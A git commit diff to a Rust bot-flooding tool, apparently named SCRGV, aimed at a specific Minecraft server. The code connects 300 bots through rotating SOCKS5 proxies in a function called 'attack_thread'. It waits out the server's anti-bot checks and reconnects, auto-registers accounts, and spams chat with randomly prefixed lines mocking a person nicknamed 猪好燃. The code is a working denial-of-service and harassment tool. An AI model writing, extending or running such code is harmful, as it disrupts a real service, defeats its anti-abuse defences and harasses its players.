v1.1更新,详见changelogs

This commit is contained in:
Zihaoxu2008
2025-01-25 18:45:06 +08:00
parent 8e9888e94a
commit 0766ebeeb5
8 changed files with 378 additions and 76 deletions

1
.gitignore vendored
View File

@@ -1,2 +1,3 @@
/target
/.idea
/我是崩服小能手

6
changelogs/v1.1.txt Normal file
View File

@@ -0,0 +1,6 @@
SCRGV - v1.1
- 完善config
- 修复了部分bug
- 实现了灵活的代理切换(现在如果不需要使用代理,可以将proxy_url置空)
- 实现了spammer和登录命令

View File

@@ -1,8 +1,12 @@
{
"server_ip": "49.70.3.146",
"server_ip": "m.earthvillage.top",
"server_port": "33009",
"proxy_url": "http://uu-proxy.com/api/get_proxies?id=RZ7GS5ZYTA&size=1&schemes=socks5&support_https=false&format=json",
"username_prefix": "Nikke_",
"username_prefix": "我叫猪好燃",
"count": 300,
"reco_words": ["验证程序已启用","AntiAttack"]
"reco_words": ["验证程序已启用","AntiAttack"],
"login_commands": ["reg helloa helloa"],
"spam_file": "test.txt",
"spam_delay_ms": 1000,
"random_prefix": true
}

View File

@@ -1,31 +1,132 @@
// bot的实现
use std::{io::Error, thread::sleep, time::Duration};
use std::{io::{Error, Read, Write}, net::TcpStream, sync::Arc, thread::{self, sleep}, time::{self, Duration}};
use rust_mc_proto::{DataBufferReader, DataBufferWriter, MinecraftConnection, Packet, ProtocolError};
use socks::Socks5Stream;
use crate::utils;
use tokio::{io::{AsyncBufReadExt, AsyncSeekExt}, sync::Mutex};
use crate::{configuration::Configuration, utils};
pub struct Socks5Bot {
username: String,
proxy_addr: String,
server_addr: String,
conn: MinecraftConnection<Socks5Stream>,
should_restart: bool,
// 让所有bot能够共享变量
pub struct BotVariable {
pub spam_file: Arc<Mutex<Option<tokio::fs::File>>>,
pub spam_cursor: Arc<Mutex<u64>>
}
impl Socks5Bot {
pub fn new(username: String, proxy_addr: String, server_addr: String) -> Result<Socks5Bot, Error> {
// impl Clone for BotVariable {
// fn clone(&self) -> Self {
// Self { spam_file: self.spam_file.clone() }
// }
// }
// 定义一个StreamType的特性,要求实现Read和Write,且含有connect函数
pub trait StreamType: Read + Write {
fn connect(server_addr: &str,proxy_addr: &str) -> Result<Self, Error> where Self: Sized;
}
// *由于下面的Stream已经实现过connect了,所以这里没必要重复一遍
// // 然后让Socks5Stream实现StreamType
// impl StreamType for Socks5Stream{
// fn connect(server_addr: &str,proxy_addr: &str) -> Result<Self, Error> where Self: Sized {
// return Socks5Stream::connect(proxy_addr, server_addr);
// }
// }
// // 再让TcpStream实现StreamType
// impl StreamType for TcpStream {
// fn connect(server_addr: &str,_: &str) -> Result<Self, Error> where Self: Sized {
// return TcpStream::connect(server_addr);
// }
// }
// Bot泛型版
pub struct Bot<T: StreamType> {
pub username: String,
pub proxy_addr: String,
pub server_addr: String,
conn: Arc<Mutex<MinecraftConnection<T>>>,
should_restart: bool,
config: Arc<Configuration>,
status: i32,
var: Arc<BotVariable>,
}
// 然后用一个Stream枚举来包装TcpStream和Socks5Stream(trait不能拿来创建bot)
pub enum Stream {
Socks5(Socks5Stream),
Tcp(TcpStream),
}
//给Stream实现Read和Write
impl Read for Stream {
fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
match self {
Stream::Socks5(t) => t.read(buf),
Stream::Tcp(t) => t.read(buf),
}
}
}
impl Write for Stream {
fn write(&mut self, buf: &[u8]) -> std::io::Result<usize> {
match self {
Stream::Socks5(t) => t.write(buf),
Stream::Tcp(t) => t.write(buf),
}
}
fn flush(&mut self) -> std::io::Result<()> {
match self {
Stream::Socks5(t) => t.flush(),
Stream::Tcp(t) => t.flush(),
}
}
}
// 再让Stream实现StreamType,这样Stream就能拿来搞bot的泛型了
impl StreamType for Stream {
fn connect(server_addr: &str,proxy_addr: &str) -> Result<Self, Error> where Self: Sized {
if !proxy_addr.is_empty() {
Ok(Stream::Socks5(Socks5Stream::connect(proxy_addr, server_addr)?))
}else {
Ok(Stream::Tcp(TcpStream::connect(server_addr)?))
}
}
}
impl Clone for Bot<Stream> {
fn clone(&self) -> Self {
Self {
username: self.username.clone(),
proxy_addr: self.proxy_addr.clone(),
server_addr: self.server_addr.clone(),
conn: self.conn.clone(),
should_restart: self.should_restart.clone(),
config: self.config.clone(),
status: self.status.clone(),
var: self.var.clone()}
}
}
impl<T: StreamType> Bot<T> {
pub fn new(username: String, proxy_addr: String, server_addr: String, config: Arc<Configuration>, var: Arc<BotVariable>) -> Result<Bot<T>, Error> {
println!("[{}] Creating bot on {} with proxy {}", username, server_addr, proxy_addr);
let stream = Socks5Stream::connect(proxy_addr.as_str(), server_addr.as_str());
let stream = T::connect(server_addr.as_str(), proxy_addr.as_str());
let should_restart = false;
match stream {
Ok(stream) => Ok(Socks5Bot { username, proxy_addr, server_addr, conn: MinecraftConnection::new(stream), should_restart }),
Ok(stream) => Ok(Bot {
username,
proxy_addr,
server_addr,
conn: Arc::new(Mutex::new(MinecraftConnection::new(stream))),
should_restart,
config,
status: 0,
var: var}),
Err(e) => Err(e),
}
}
// bot登录函数
pub fn login(&mut self) -> Result<(), ProtocolError> {
pub async fn login(&mut self) -> Result<(), ProtocolError> {
// 这里其实传的server host是什么都不要紧,但保险起见还是弄一下
let mut server_host: String = self.server_addr.clone();
let server_port: String = server_host.split_off(server_host.find(":").unwrap()+1);
@@ -33,7 +134,7 @@ impl Socks5Bot {
server_host = server_host.strip_suffix(':').unwrap().to_string();
let server_port_num: u16 = server_port.parse::<u16>().unwrap();
// 发一个handshake包,设置next_state为2(Login)
self.conn.write_packet(&Packet::build(0x00, |packet| {
self.conn.lock().await.write_packet(&Packet::build(0x00, |packet| {
packet.write_u16_varint(763)?; // protocol_version
packet.write_string(&server_host)?; // server_address
packet.write_unsigned_short(server_port_num)?; // server_port
@@ -41,7 +142,7 @@ impl Socks5Bot {
})?)?; // handshake packet
// 再发一个,把用户名发过去(不知道为什么,反正文档上写要发两个)
self.conn.write_packet(&Packet::build(0x00, |packet| {
self.conn.lock().await.write_packet(&Packet::build(0x00, |packet| {
packet.write_string(&self.username)?;
packet.write_boolean(false)// ?;
// packet.write_uuid(&Uuid::parse_str("550e8400-e29b-41d4-a716-446655440000").unwrap())
@@ -50,67 +151,98 @@ impl Socks5Bot {
Ok(())
}
pub async fn send_message(&mut self, message: String) -> Result<(), ProtocolError> {
self.conn.lock().await.write_packet(&Packet::build(0x05, |packet| {
packet.write_string(message.as_str())?; // message
packet.write_long(time::SystemTime::now().duration_since(time::SystemTime::UNIX_EPOCH).unwrap().as_millis() as i64)?; // timestamp
packet.write_long(0)?; // salt
packet.write_boolean(false)?; // has signature
packet.write_u8_varint(0)?; // message count
packet.write_bytes(&[0,0,0])
})?)?;
Ok(())
}
pub async fn send_command(&mut self, command: String) -> Result<(), ProtocolError> {
self.conn.lock().await.write_packet(&Packet::build(0x04, |packet| {
packet.write_string(&command.as_str())?;
packet.write_long(time::SystemTime::now().duration_since(time::SystemTime::UNIX_EPOCH).unwrap().as_millis() as i64)?;
packet.write_long(0)?;
packet.write_u8_varint(0)?;
packet.write_u8_varint(0)?; // message count
packet.write_bytes(&[0,0,0])
})?)?;
Ok(())
}
// 处理服务器发的keepalive
pub fn handle_keepalive(&mut self,packet: &mut Packet) -> Result<(), ProtocolError> {
pub async fn handle_keepalive(&mut self,packet: &mut Packet) -> Result<(), ProtocolError> {
// keep alive
let id = packet.read_long()?;
// keepalive原封不动丢回去就行
// TODO 在20秒未进行Keepalive时断开连接
self.conn.write_packet(&Packet::build(0x12, |packet| { // respond with a same keep alive packet
self.conn.lock().await.write_packet(&Packet::build(0x12, |packet| { // respond with a same keep alive packet
packet.write_long(id)
})?)?;
// println!("Server keep alived");
// 这个包是重生用的,因为我发现如果玩家上线的时候就是死的,那它就没法自动重生
self.conn.write_packet(&Packet::build(0x07, |packet| {
self.conn.lock().await.write_packet(&Packet::build(0x07, |packet| {
packet.write_u8_varint(0)
})?)?;
Ok(())
}
// 处理断开连接事件(这个指的是建立连接后再断开连接)
pub fn handle_disconnect(&mut self,packet: &mut Packet) -> Result<(), ProtocolError> {
pub async fn handle_disconnect(&mut self,packet: &mut Packet) -> Result<(), ProtocolError> {
// disconnect
let message = packet.read_string()?;
let text = utils::parse_json_component(message.as_str());
println!("[{}] Server disconnected: {}", self.username, text);
if text.contains("验证程序已启用") { // TODO 把这个搞进配置文件里面
println!("[{}] Restart flag setted, will restart after 1.5 min", self.username);
sleep(Duration::from_secs(90));
self.should_restart = true;
// if text.contains("验证程序已启用") { // TODO 把这个搞进配置文件里面
// println!("[{}] Restart flag setted, will restart after 1.5 min", self.username);
// sleep(Duration::from_secs(90));
// self.should_restart = true;
// }
for i in self.config.reco_words(){
if text.contains(i.as_str()) {
println!("[{}] Restart flag setted, will restart after 1.5 min", self.username);
sleep(Duration::from_secs(90));
self.should_restart = true;
}
}
Ok(())
}
// 处理网络数据包
pub fn handle_packets(&mut self) -> Result<(), ProtocolError> {
let mut status = 0;
while self.conn.is_alive() {
let mut packet = self.conn.read_packet()?;
pub async fn handle_packets(&mut self, status_tx: tokio::sync::mpsc::UnboundedSender<u8>) -> Result<(), ProtocolError> {
while self.conn.lock().await.is_alive() {
let mut packet = self.conn.lock().await.read_packet()?;
match packet.id() {
0x02 => { // 成功登录
// login success
println!("[{}] Successfully logged in!",self.username);
status = 1;
self.status = 1;
status_tx.send(1).unwrap();
}
0x03 => {// 设置压缩CompressionThreshold
// set compression
let threshold = packet.read_i32_varint()?;
if threshold >= 0 {
self.conn.set_compression(Some(threshold as usize));
self.conn.lock().await.set_compression(Some(threshold as usize));
// println!("[{}] Compression threshold set to {}", self.username, threshold)
}
}
0x23 => { // KeepAlive包
self.handle_keepalive(&mut packet)?;
self.handle_keepalive(&mut packet).await?;
// println!("{}",self.status);
}
0x1A => {// 断连包
// disconnect
self.handle_disconnect(&mut packet)?;
self.handle_disconnect(&mut packet).await?;
break;
}
0x00 => {// 版本不匹配啥的就会走这
if status == 0{
if self.status == 0{
let text = packet.read_string()?;
println!("[{}] Failed to login: {}", self.username, utils::parse_json_component(text.as_str()));
break;
@@ -119,7 +251,7 @@ impl Socks5Bot {
0x38 => {// 去世包(自动复活)
// player died
println!("[{}] Player died,respawning...",self.username);
self.conn.write_packet(&Packet::build(0x07, |packet| {
self.conn.lock().await.write_packet(&Packet::build(0x07, |packet| {
packet.write_u8_varint(0)
})?)?
}
@@ -131,11 +263,71 @@ impl Socks5Bot {
Ok(())
}
// !这里的self不与主线程的self相同
pub async fn update_worker(&mut self, mut status_rx: tokio::sync::mpsc::UnboundedReceiver<u8>){
let mut login_timestamp = 0;
let mut login_command_flag = false;
let mut status = 0;
let mut iter = 0;
println!("[{}/WORKER] Worker started!", self.username);
loop {
if !status_rx.is_empty() {
status = status_rx.recv().await.unwrap();
}
if status == 1 && login_timestamp == 0 { // 刚刚登录完毕
login_timestamp = time::SystemTime::now().duration_since(time::SystemTime::UNIX_EPOCH).unwrap().as_millis() as i64;
}else if status == 1 { // 已登录
if login_timestamp + 3000 <= time::SystemTime::now().duration_since(time::SystemTime::UNIX_EPOCH).unwrap().as_millis() as i64
&& !login_command_flag { // 登录3s后且未执行过登录命令
let commands = self.config.login_commands().clone();
for i in commands{
self.send_command(i.to_string()).await.unwrap();
thread::sleep(Duration::from_secs(1));
}
println!("[{}/WORKER] Login commands executed!",self.username);
login_command_flag = true;
}
}
if login_command_flag { // 执行完登录命令后
if !self.config.spam_file().is_empty() && iter % self.config.spam_delay_ms() == 0{
let mut msg = String::new();
if self.config.random_prefix(){
msg += &utils::generate_string();
}
{ // TODO 优化这里
let var = self.var.clone();
let mut file_lock = var.spam_file.lock().await;
let file = file_lock.as_mut().unwrap();
let mut reader = tokio::io::BufReader::new(file);
let mut line = String::new();
let mut flag = true;
reader.seek(std::io::SeekFrom::Start(*var.spam_cursor.lock().await)).await.unwrap();
while flag {
flag = false;
if let Ok(size) = reader.read_line(&mut line).await {
if size == 0 {
reader.seek(std::io::SeekFrom::Start(0)).await.unwrap();
flag = true;
}else {
msg += line.trim();
}
}
}
(*var.spam_cursor.lock().await) = reader.stream_position().await.unwrap();
}
self.send_message(msg).await.unwrap();
}
iter += 1;
}
sleep(Duration::from_millis(1));
}
}
// 运行bot
pub fn run(&mut self) -> Result<(), ProtocolError> {
println!("[{}] Connecting to {} with proxy {}", self.username, self.server_addr,self.proxy_addr);
self.login().unwrap();
self.handle_packets().unwrap_or(());
pub async fn run(&mut self, status_tx: tokio::sync::mpsc::UnboundedSender<u8>) -> Result<(), ProtocolError> {
println!("[{}] Connecting to {} with proxy {}", self.username, self.server_addr, self.proxy_addr);
self.login().await.unwrap();
self.handle_packets(status_tx).await.unwrap_or(());
Ok(())
}
@@ -143,3 +335,24 @@ impl Socks5Bot {
self.should_restart
}
}
// 把创建bot的方法提取出来力
pub fn create_new_bot(username: String, proxy_addr: String, server_addr: String, config: Arc<Configuration>, var: Arc<BotVariable>) -> Result<Bot<Stream>, Error>{
if !proxy_addr.is_empty() {
Bot::<Stream>::new(
username,
proxy_addr,
server_addr,
config,
var
)
}else {
Bot::<Stream>::new(
username,
"".to_string(),
server_addr,
config,
var
)
}
}

View File

@@ -9,7 +9,11 @@ pub struct Configuration {
username_prefix: String,
count: i32,
proxy_url: String,
reco_words: Vec<String>
reco_words: Vec<String>,
login_commands: Vec<String>,
spam_file: String,
spam_delay_ms: i32,
random_prefix: bool,
}
impl Configuration {
@@ -48,6 +52,10 @@ impl Configuration {
count: 300,
proxy_url: "http://uu-proxy.com/api/get_proxies?id=RZ7GS5ZYTA&size=1&schemes=socks5&support_https=false&format=json".to_string(),
reco_words: vec!["AntiAttack".to_string()],
login_commands: vec![],
spam_file: "".to_string(),
spam_delay_ms: 0,
random_prefix: false,
}
}
@@ -67,4 +75,36 @@ impl Configuration {
pub fn proxy_url(&self) -> &str {
self.proxy_url.as_str()
}
pub fn reco_words(&self) -> &Vec<String> {
&self.reco_words
}
pub fn login_commands(&self) -> &Vec<String> {
&self.login_commands
}
pub fn spam_file(&self) -> &str {
self.spam_file.as_str()
}
pub fn spam_delay_ms(&self) -> i32 {
self.spam_delay_ms
}
pub fn random_prefix(&self) -> bool {
self.random_prefix
}
}
// impl Clone for Configuration {
// fn clone(&self) -> Self {
// Configuration {
// server_ip: self.server_ip.clone(),
// server_port: self.server_port.clone(),
// username_prefix: self.username_prefix.clone(),
// count: self.count,
// proxy_url: self.proxy_url.clone(),
// reco_words: self.reco_words.clone(),
// login_commands:self.login_commands.clone(),
// random_prefix: self.random_prefix,
// spam_file: self.spam_file.clone(),
// spam_delay_ms: self.spam_delay_ms,
// }
// }
// }

View File

@@ -4,10 +4,11 @@ mod bot_socks5;
mod utils;
mod configuration;
use bot_socks5::BotVariable;
use reqwest;
use serde_json::Value;
use tokio::task;
use std::sync::Arc;
use std::thread;
use tokio::sync::Mutex;
use crate::utils::generate_username;
use crate::configuration::Configuration;
@@ -39,62 +40,94 @@ async fn main() {
let mut handles = Vec::new();
let configuration = Configuration::new("config.json");
let configuration_rc = Arc::new(configuration);
let mut spam_file = None;
if !configuration_rc.clone().spam_file().is_empty() {
spam_file = Some(tokio::fs::File::open(configuration_rc.clone().spam_file()).await.unwrap());
}
let variables = Arc::new(BotVariable {
spam_file: Arc::new(Mutex::new(spam_file)),
spam_cursor: Arc::new(Mutex::new(0))
});
for _ in 0..configuration_rc.count() {
for _ in 0..configuration_rc.count() -1 {
let lock_clone = thread_lock.clone();
let configuration_rc_clone = configuration_rc.clone();
let variables_clone = variables.clone();
// let handle = tokio::spawn(async move {
// attack_thread(lock_clone).await;
// println!("[MAIN] Thread {} created", i);
// });
// 生成一个线程
let handle = thread::spawn(move || {
tokio::runtime::Builder::new_current_thread()
.enable_all()
.thread_stack_size(8 * 1024 * 1024)
.build()
.unwrap()
.block_on(async move {
attack_thread(lock_clone, configuration_rc_clone).await;
// println!("[MAIN] Thread {} created", i);
});
});
let handle = task::spawn(attack_thread(lock_clone, configuration_rc_clone,variables_clone));
handles.push(handle);
// println!("[MAIN] Thread {} created", i) // 这个太吵了(
}
// 等待所有任务完成(虽然大概也许可能这辈子都等不到)
for handle in handles {
handle.join().unwrap();
}
// for _ in handles {
// }
let lock_clone = thread_lock.clone();
let configuration_rc_clone = configuration_rc.clone();
let variables_clone = variables.clone();
attack_thread(lock_clone, configuration_rc_clone, variables_clone).await;
}
// 用于殴打的线程
async fn attack_thread(lock: Arc<Mutex<()>>, config: Arc<Configuration>) -> () {
async fn attack_thread(lock: Arc<Mutex<()>>, config: Arc<Configuration>, variables: Arc<BotVariable>) -> () {
loop {
// 请求proxy
let resp: reqwest::Response;
{
let _guard = lock.lock().await;
resp = reqwest::get(config.proxy_url()).await.unwrap();
}
let proxy_list: Value = serde_json::from_str(&resp.text().await.unwrap()).unwrap();
let proxy = &proxy_list["proxies"].as_array().unwrap()[0];
// 请求proxy(如果有)
let username = generate_username(&config);
// 这里用来标记是否需要重启
let mut flag = true;
let mut proxy: &Value = &Value::Null;
let mut proxy_list: Value;
if !config.proxy_url().is_empty() {
let mut flag = true;
while flag {
flag = false;
let resp: reqwest::Response;
{
let _guard = lock.lock().await;
resp = reqwest::get(config.proxy_url()).await.unwrap();
}
proxy_list = serde_json::from_str(&resp.text().await.unwrap()).unwrap();
proxy = match proxy_list["proxies"].as_array() {
Some(t) => &t[0],
None => &Value::Null
};
if proxy.as_str() == None {
flag = true;
eprintln!("[{}] Unable to get proxy,retrying...",username)
}
}
}
while flag {
flag = false;
// 创建一个bot
let bot_result = bot_socks5::Socks5Bot::new(
username.clone(),
format!("{}:{}", proxy["ip"].as_str().unwrap(), proxy["port"]),
format!("{}:{}",config.server_ip(),config.server_port()).to_string(),
let bot_result = bot_socks5::create_new_bot(
username.to_string(),
{
if proxy.is_null() { // 如果不使用proxy
""
}else{
proxy.as_str().unwrap()
}
}.to_string(),
format!("{}:{}",config.server_ip(),config.server_port()),
config.clone(),
variables.clone(),
);
if let Ok(mut bot) = bot_result {
match bot.run() {
//println!("[{}] Connecting to {} with proxy {}", bot.username, bot.server_addr, bot.proxy_addr);
// 插入生成update_worker线程的代码
let mut bot_clone = bot.clone();
let (tx, rx) = tokio::sync::mpsc::unbounded_channel::<u8>();
tokio::spawn(async move {
bot_clone.update_worker(rx).await;
});
match bot.run(tx).await {
Ok(_) => {
if bot.should_restart() {
flag = true;

View File

@@ -46,7 +46,7 @@ pub fn parse_json_component(json: &str) -> String {
// 生成一个随机的用户名
// author: 通义
fn generate_string() -> String {
pub fn generate_string() -> String {
let mut rng = rand::thread_rng();
let len = rng.gen_range(5..=10);
rng.sample_iter(&Alphanumeric)

5
test.txt Normal file
View File

@@ -0,0 +1,5 @@
我奶猪好燃
猪好燃的猪
猪好燃的好
猪好燃的燃
没错,我叫猪好燃